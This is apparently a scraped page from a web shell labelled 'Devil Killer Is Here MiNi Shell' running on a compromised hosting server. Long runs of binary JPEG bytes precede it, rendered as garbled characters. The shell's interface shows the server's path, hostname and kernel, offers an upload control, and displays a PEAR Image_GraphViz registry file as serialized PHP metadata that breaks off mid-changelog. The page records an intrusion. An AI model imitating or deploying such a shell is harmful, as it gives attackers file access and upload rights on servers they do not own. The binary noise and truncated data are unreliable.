JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /proc/thread-self/root/usr/local/lib/php-7.0.14-precise/lib/php/.registry/

Linux boscustweb5001.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64
Upload File :
Current File : //proc/thread-self/root/usr/local/lib/php-7.0.14-precise/lib/php/.registry/image_graphviz.reg

a:22:{s:7:"attribs";a:6:{s:15:"packagerversion";s:5:"1.9.1";s:7:"version";s:3:"2.0";s:5:"xmlns";s:35:"http://pear.php.net/dtd/package-2.0";s:11:"xmlns:tasks";s:33:"http://pear.php.net/dtd/tasks-1.0";s:9:"xmlns:xsi";s:41:"http://www.w3.org/2001/XMLSchema-instance";s:18:"xsi:schemaLocation";s:147:"http://pear.php.net/dtd/tasks-1.0 http://pear.php.net/dtd/tasks-1.0.xsd http://pear.php.net/dtd/package-2.0 http://pear.php.net/dtd/package-2.0.xsd";}s:4:"name";s:14:"Image_GraphViz";s:7:"channel";s:12:"pear.php.net";s:7:"summary";s:34:"Interface to AT&T's GraphViz tools";s:11:"description";s:146:"The GraphViz class allows for the creation of and the work with directed and undirected graphs and their visualization with AT&T's GraphViz tools.";s:4:"lead";a:3:{i:0;a:4:{s:4:"name";s:17:"Philippe Jausions";s:4:"user";s:8:"jausions";s:5:"email";s:16:"jausions@php.net";s:6:"active";s:3:"yes";}i:1;a:4:{s:4:"name";s:19:"Dr. Volker Goebbels";s:4:"user";s:3:"vmg";s:5:"email";s:16:"vmg@arachnion.de";s:6:"active";s:2:"no";}i:2;a:4:{s:4:"name";s:18:"Sebastian Bergmann";s:4:"user";s:9:"sebastian";s:5:"email";s:24:"sb@sebastian-bergmann.de";s:6:"active";s:2:"no";}}s:4:"date";s:10:"2010-10-24";s:4:"time";s:8:"15:51:34";s:7:"version";a:2:{s:7:"release";s:5:"1.3.0";s:3:"api";s:5:"1.3.0";}s:9:"stability";a:2:{s:7:"release";s:6:"stable";s:3:"api";s:6:"stable";}s:7:"license";a:2:{s:7:"attribs";a:1:{s:3:"uri";s:26:"http://www.php.net/license";}s:8:"_content";s:11:"PHP License";}s:5:"notes";s:394:"QA release
SVN  dir layout
Request #12913 	Error report upon renderDotFile error
Bug #15019 	addCluster using attributes twice
Request #15943 	adding subgraph to subgraph?
Request #15943 	adding subgraph to subgraph?
Bug #16326 	image() doesn't return error on unknown format.
Bug #16569 	Image_GraphViz uses @package GraphViz
Bug #16872 	Cluster display
Bug #17746 	Nested Clusters not working";s:8:"contents";a:1:{s:3:"dir";a:2:{s:7:"attribs";a:2:{s:14:"baseinstalldir";s:1:"/";s:4:"name";s:1:"/";}s:4:"file";a:19:{i:0;a:1:{s:7:"attribs";a:4:{s:14:"baseinstalldir";s:1:"/";s:6:"md5sum";s:32:"46d58152b571659aa5c8eb70939ec5a6";s:4:"name";s:18:"Image/GraphViz.php";s:4:"role";s:3:"php";}}i:1;a:1:{s:7:"attribs";a:4:{s:14:"baseinstalldir";s:1:"/";s:6:"md5sum";s:32:"2dcd551ced7375a8ea0efd6d170931e6";s:4:"name";s:20:"tests/bug_15019.phpt";s:4:"role";s:4:"test";}}i:2;a:1:{s:7:"attribs";a:4:{s:14:"baseinstalldir";s:1:"/";s:6:"md5sum";s:32:"38a6b63eb27f9b1f07ac287639e4ec19";s:4:"name";s:20:"tests/bug_15943.phpt";s:4:"role";s:4:"test";}}i:3;a:1:{s:7:"attribs";a:4:{s:14:"baseinstalldir";s:1:"/";s:6:"md5sum";s:32:"2dac4d5c016c02b3061ea5d906e07dd6";s:4:"name";s:20:"tests/bug_16872.phpt";s:4:"role";s:4:"test";}}i:4;a:1:{s:7:"attribs";a:4:{s:14:"baseinstalldir";s:1:"/";s:6:"md5sum";s:32:"5a4d50e866041091da36910f0ca71c6d";s:4:"name";s:20:"tests/req_12913.phpt";s:4:"role";s:4:"test";}}i:5;a:1:{s:7:"attribs";a:4:{s:14:"baseinstalldir";s:1:"/";s:6:"md5sum";s:32:"6738f99601adb018209526078c77f309";s:4:"name";s:16:"tests/test1.phpt";s:4:"role";s:4:"test";}}i:6;a:1:{s:7:"attribs";a:4:{s:14:"baseinstalldir";s:1:"/";s:6:"md5sum";s:32:"7568ecb30de5d5535c7bbe3830267268";s:4:"name";s:16:"tests/test2.phpt";s:4:"role";s:4:"test";}}i:7;a:1:{s:7:"attribs";a:4:{s:14:"baseinstalldir";s:1:"/";s:6:"md5sum";s:32:"8e4fad3f4c2b19cc5202fef27e2c6c48";s:4:"name";s:16:"tests/test3.phpt";s:4:"role";s:4:"test";}}i:8;a:1:{s:7:"attribs";a:4:{s:14:"baseinstalldir";s:1:"/";s:6:"md5sum";s:32:"fd586a4d7519f2002e1f5570fd20c5dd";s:4:"name";s:16:"tests/test4.phpt";s:4:"role";s:4:"test";}}i:9;a:1:{s:7:"attribs";a:4:{s:14:"baseinstalldir";s:1:"/";s:6:"md5sum";s:32:"1d3f539718a7872264ab6f0231de96f4";s:4:"name";s:16:"tests/test5.phpt";s:4:"role";s:4:"test";}}i:10;a:1:{s:7:"attribs";a:4:{s:14:"baseinstalldir";s:1:"/";s:6:"md5sum";s:32:"8087f84aee92f2bb18e5028e7d0f07f4";s:4:"name";s:16:"tests/test6.phpt";s:4:"role";s:4:"test";}}i:11;a:1:{s:7:"attribs";a:4:{s:14:"baseinstalldir";s:1:"/";s:6:"md5sum";s:32:"7ff500461786fa3ebce0f223666305bb";s:4:"name";s:16:"tests/test9.phpt";s:4:"role";s:4:"test";}}i:12;a:1:{s:7:"attribs";a:4:{s:14:"baseinstalldir";s:1:"/";s:6:"md5sum";s:32:"2e9d351cb62f1e569f06222eaa96a5fa";s:4:"name";s:17:"tests/test12.phpt";s:4:"role";s:4:"test";}}i:13;a:1:{s:7:"attribs";a:4:{s:14:"baseinstalldir";s:1:"/";s:6:"md5sum";s:32:"876a0f9176ec2fb3f5b838cf2ab20639";s:4:"name";s:17:"tests/test14.phpt";s:4:"role";s:4:"test";}}i:14;a:1:{s:7:"attribs";a:4:{s:14:"baseinstalldir";s:1:"/";s:6:"md5sum";s:32:"b729e4d4e5ff0918676792f27bc76db3";s:4:"name";s:17:"tests/test16.phpt";s:4:"role";s:4:"test";}}i:15;a:1:{s:7:"attribs";a:4:{s:14:"baseinstalldir";s:1:"/";s:6:"md5sum";s:32:"94d6f0c7a7aab2d423d0bf07bfc32a59";s:4:"name";s:17:"tests/test17.phpt";s:4:"role";s:4:"test";}}i:16;a:1:{s:7:"attribs";a:4:{s:14:"baseinstalldir";s:1:"/";s:6:"md5sum";s:32:"84a6c6ee19ed866135e6e61f60150101";s:4:"name";s:17:"tests/test19.phpt";s:4:"role";s:4:"test";}}i:17;a:1:{s:7:"attribs";a:4:{s:14:"baseinstalldir";s:1:"/";s:6:"md5sum";s:32:"c36de8a23638bd4ca1380832fe8c9ee7";s:4:"name";s:17:"tests/test20.phpt";s:4:"role";s:4:"test";}}i:18;a:1:{s:7:"attribs";a:4:{s:14:"baseinstalldir";s:1:"/";s:6:"md5sum";s:32:"3ddd452115379fc5e1b264613ec3ee8f";s:4:"name";s:18:"tests/test20b.phpt";s:4:"role";s:4:"test";}}}}}s:12:"dependencies";a:1:{s:8:"required";a:2:{s:3:"php";a:1:{s:3:"min";s:5:"4.0.0";}s:13:"pearinstaller";a:1:{s:3:"min";s:5:"1.6.2";}}}s:10:"phprelease";s:0:"";s:9:"changelog";a:1:{s:7:"release";a:15:{i:0;a:5:{s:7:"version";a:2:{s:7:"release";s:3:"0.1";s:3:"api";s:3:"0.1";}s:9:"stability";a:2:{s:7:"release";s:6:"stable";s:3:"api";s:6:"stable";}s:4:"date";s:10:"2001-12-01";s:7:"license";a:2:{s:7:"attribs";a:1:{s:3:"uri";s:26:"http://www.php.net/license";}s:8:"_content";s:11:"PHP License";}s:5:"notes";s:14:"First release.";}i:1;a:5:{s:7:"version";a:2:{s:7:"release";s:3:"0.2";s:3:"api";s:3:"0.2";}s:9:"stability";a:2:{s:7:"release";s:6:"stable";s:3:"api";s:6:"stable";}s:4:"date";s:10:"2002-04-06";s:7:"license";a:2:{s:7:"attribs";a:1:{s:3:"uri";s:26:"http://www.php.net/license";}s:8:"_content";s:11:"PHP License";}s:5:"notes";s:246:"* Added escaping of node descriptions. (Patch by Garvin Hicking <hicking@faktor-e.de>)

* Improved compatibility with Win32 version of dot/neato. (Patch by Garvin Hicking <hicking@faktor-e.de>)

* Changed Image_GraphViz.php to Image/GraphViz.php.";}i:2;a:5:{s:7:"version";a:2:{s:7:"release";s:3:"0.3";s:3:"api";s:3:"0.3";}s:9:"stability";a:2:{s:7:"release";s:6:"stable";s:3:"api";s:6:"stable";}s:4:"date";s:10:"2002-09-25";s:7:"license";a:2:{s:7:"attribs";a:1:{s:3:"uri";s:26:"http://www.php.net/license";}s:8:"_content";s:11:"PHP License";}s:5:"notes";s:85:"* Allow for edges without attributes. (Patch by Carsten Saathoff <kodemaniak@gmx.de>)";}i:3;a:5:{s:7:"version";a:2:{s:7:"release";s:3:"0.4";s:3:"api";s:3:"0.4";}s:9:"stability";a:2:{s:7:"release";s:6:"stable";s:3:"api";s:6:"stable";}s:4:"date";s:10:"2002-11-24";s:7:"license";a:2:{s:7:"attribs";a:1:{s:3:"uri";s:26:"http://www.php.net/license";}s:8:"_content";s:11:"PHP License";}s:5:"notes";s:126:"* Send correct Content-Type in image() header depending on generated format.

* Renamed methods to conform with PEAR standard.";}i:4;a:5:{s:7:"version";a:2:{s:7:"release";s:3:"1.0";s:3:"api";s:3:"1.0";}s:9:"stability";a:2:{s:7:"release";s:6:"stable";s:3:"api";s:6:"stable";}s:4:"date";s:10:"2002-12-08";s:7:"license";a:2:{s:7:"attribs";a:1:{s:3:"uri";s:26:"http://www.php.net/license";}s:8:"_content";s:11:"PHP License";}s:5:"notes";s:59:"* Added some missing newline characters in GraphViz markup.";}i:5;a:5:{s:7:"version";a:2:{s:7:"release";s:5:"1.0.1";s:3:"api";s:5:"1.0.1";}s:9:"stability";a:2:{s:7:"release";s:6:"stable";s:3:"api";s:6:"stable";}s:4:"date";s:10:"2002-12-11";s:7:"license";a:2:{s:7:"attribs";a:1:{s:3:"uri";s:26:"http://www.php.net/license";}s:8:"_content";s:11:"PHP License";}s:5:"notes";s:216:"+ Nodes can be grouped now by passing a group name as 3rd parameter to the addNode() method.

+ The new addCluster() method can be used to give a label to a group of nodes and let GraphViz treat it as a node cluster.";}i:6;a:5:{s:7:"version";a:2:{s:7:"release";s:5:"1.0.2";s:3:"api";s:5:"1.0.2";}s:9:"stability";a:2:{s:7:"release";s:6:"stable";s:3:"api";s:6:"stable";}s:4:"date";s:10:"2004-02-20";s:7:"license";a:2:{s:7:"attribs";a:1:{s:3:"uri";s:26:"http://www.php.net/license";}s:8:"_content";s:11:"PHP License";}s:5:"notes";s:127:"* Fixed Content-Type header for SVG images.

* Improved temporary file creation by using System::mktemp() instead of tempnam().";}i:7;a:5:{s:7:"version";a:2:{s:7:"release";s:5:"1.0.3";s:3:"api";s:5:"1.0.3";}s:9:"stability";a:2:{s:7:"release";s:6:"stable";s:3:"api";s:6:"stable";}s:4:"date";s:10:"2004-02-25";s:7:"license";a:2:{s:7:"attribs";a:1:{s:3:"uri";s:26:"http://www.php.net/license";}s:8:"_content";s:11:"PHP License";}s:5:"notes";s:27:"* Fixed bugs #109 and #852.";}i:8;a:5:{s:7:"version";a:2:{s:7:"release";s:5:"1.1.0";s:3:"api";s:5:"1.1.0";}s:9:"stability";a:2:{s:7:"release";s:6:"stable";s:3:"api";s:6:"stable";}s:4:"date";s:10:"2005-01-19";s:7:"license";a:2:{s:7:"attribs";a:1:{s:3:"uri";s:26:"http://www.php.net/license";}s:8:"_content";s:11:"PHP License";}s:5:"notes";s:170:"+ Added fetch() method that returns the generated image.

+ Added support for named graphs.

+ Added support for cluster attributes.

* Fixed a bug with graph attributes.";}i:9;a:5:{s:7:"version";a:2:{s:7:"release";s:5:"1.2.0";s:3:"api";s:5:"1.2.0";}s:9:"stability";a:2:{s:7:"release";s:6:"stable";s:3:"api";s:6:"stable";}s:4:"date";s:10:"2006-05-11";s:7:"license";a:2:{s:7:"attribs";a:1:{s:3:"uri";s:26:"http://www.php.net/license";}s:8:"_content";s:11:"PHP License";}s:5:"notes";s:65:"+ Added renderDotFile() method that renders an existing DOT file.";}i:10;a:5:{s:7:"version";a:2:{s:7:"release";s:5:"1.2.1";s:3:"api";s:5:"1.2.1";}s:9:"stability";a:2:{s:7:"release";s:6:"stable";s:3:"api";s:6:"stable";}s:4:"date";s:10:"2006-05-23";s:7:"license";a:2:{s:7:"attribs";a:1:{s:3:"uri";s:26:"http://www.php.net/license";}s:8:"_content";s:11:"PHP License";}s:5:"notes";s:16:"no release notes";}i:11;a:5:{s:4:"date";s:10:"2007-11-19";s:7:"version";a:2:{s:7:"release";s:8:"1.3.0RC1";s:3:"api";s:8:"1.3.0RC1";}s:9:"stability";a:2:{s:7:"release";s:4:"beta";s:3:"api";s:4:"beta";}s:7:"license";a:2:{s:7:"attribs";a:1:{s:3:"uri";s:26:"http://www.php.net/license";}s:8:"_content";s:11:"PHP License";}s:5:"notes";s:611:"- PEAR Coding Standard fixes:
  + TRUE vs true, FALSE vs false,
  + @return docblock
  + Missing docblocks
  + switch/case blocks
  + Better E_ALL compliance
- Support for HTML-like labels
- Support for node port (Bug #4924)
- Proper escaping of IDs/values
- Support for multiline values
- Support for multiple edges between same nodes (Req #6630)
- Choice of GraphViz command to use for rendering (Bug #10753)
- Support for "strict" graphs
- Fix for undirected vs. directed graph (Bug #10753)
- Base binary path (Req #8295)
- Better error handling (more checking)
- Nodes in subgraphs
- Indentation in DOT file";}i:12;a:5:{s:4:"date";s:10:"2007-11-27";s:7:"version";a:2:{s:7:"release";s:8:"1.3.0RC2";s:3:"api";s:8:"1.3.0RC2";}s:9:"stability";a:2:{s:7:"release";s:4:"beta";s:3:"api";s:4:"beta";}s:7:"license";a:2:{s:7:"attribs";a:1:{s:3:"uri";s:26:"http://www.php.net/license";}s:8:"_content";s:11:"PHP License";}s:5:"notes";s:109:"- Fixes memory usage (Req #8380)
- Added MIME types
- Fixes a filesystem cache issue
- Added .phpt unit tests";}i:13;a:5:{s:4:"date";s:10:"2008-02-05";s:7:"version";a:2:{s:7:"release";s:8:"1.3.0RC3";s:3:"api";s:8:"1.3.0RC3";}s:9:"stability";a:2:{s:7:"release";s:4:"beta";s:3:"api";s:4:"beta";}s:7:"license";a:2:{s:7:"attribs";a:1:{s:3:"uri";s:26:"http://www.php.net/license";}s:8:"_content";s:11:"PHP License";}s:5:"notes";s:67:"- PEAR Coding Standard fixes:
- Support for PEAR_Error (Req #12913)";}i:14;a:5:{s:7:"version";a:2:{s:7:"release";s:5:"1.3.0";s:3:"api";s:5:"1.3.0";}s:9:"stability";a:2:{s:7:"release";s:6:"stable";s:3:"api";s:6:"stable";}s:4:"date";s:10:"2010-10-24";s:7:"license";a:2:{s:7:"attribs";a:1:{s:3:"uri";s:26:"http://www.php.net/license";}s:8:"_content";s:11:"PHP License";}s:5:"notes";s:394:"QA release
SVN  dir layout
Request #12913 	Error report upon renderDotFile error
Bug #15019 	addCluster using attributes twice
Request #15943 	adding subgraph to subgraph?
Request #15943 	adding subgraph to subgraph?
Bug #16326 	image() doesn't return error on unknown format.
Bug #16569 	Image_GraphViz uses @package GraphViz
Bug #16872 	Cluster display
